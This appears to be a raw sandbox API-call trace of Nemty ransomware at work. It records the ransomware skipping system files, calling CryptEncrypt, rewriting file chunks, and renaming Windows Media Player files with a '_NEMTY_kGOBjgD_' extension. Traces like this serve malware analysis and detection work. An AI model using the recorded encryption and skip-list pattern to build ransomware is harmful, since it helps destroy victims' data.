(in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.835] CloseHandle (hObject=0xffffffff) returned 0 [0103.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssci.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssci.dll.mui._nemty_kgobjgd_")) returned 0 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.835] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0103.835] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2=".") returned 1 [0103.835] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="..") returned 1 [0103.835] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="...") returned 1 [0103.835] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="windows") returned 1 [0103.835] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.835] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="rsa") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="NTDETECT.COM") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="ntldr") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="MSDOS.SYS") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="IO.SYS") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="boot.ini") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="boot.ini") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="ntuser.dat") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="desktop.ini") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="CONFIG.SYS") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="RECYCLER") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="bootmgr") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="programdata") returned 1 [0103.836] lstrcmpiW (lpString1="wmpnssui.dll.mui", lpString2="appdata") returned 1 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssui.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssui.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssui.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnssui.dll.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnssui.dll.mui", lpUsedDefaultChar=0x0) returned 16 [0103.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0103.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0103.837] Sleep (dwMilliseconds=0x5) [0103.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf18b6610, dwHighDateTime=0x1d561e7)) [0103.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf18b6610, dwHighDateTime=0x1d561e7)) [0103.849] GetLastError () returned 0x5 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.849] GetLastError () returned 0x5 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.849] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0103.849] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="5gZO6h4zJq17RowTyJXsKb21XmZHGj8VYSKkgrt6lL2T72KYYLPg371n38Z81pHQ\r\nKOJu25/U+Px/QsOU1mwRSzU2O4DMMlkkJ7+EXLD5EH6DX9+IF5UsLtrPnPRExln8\r\n9T0Fn2e4KcSR7YrnG56ybmcLUPq7ps0AGDoeqUc7aGLRFEfe2T+cdHtZSGfkDu7g\r\nI5M4xltCU3xFv3lw3yIqQEdROsTwmeCzsc3vcyqbgJq+WYS9lAK6XVK3y5emJqyq\r\nW/3PGwmdJ+6qAwtjUzCQsgrDefEYEMqt+SyxkIwGUALUScKg6bJlwq/G0yDxGYSb\r\nIIPcA4+y/q4OSq9r7A/avw==\r\n", pcchString=0x653ef9c) returned 1 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0103.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.849] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.850] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.868] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.878] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.934] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.949] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.949] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.949] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.955] CloseHandle (hObject=0xffffffff) returned 0 [0103.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.955] 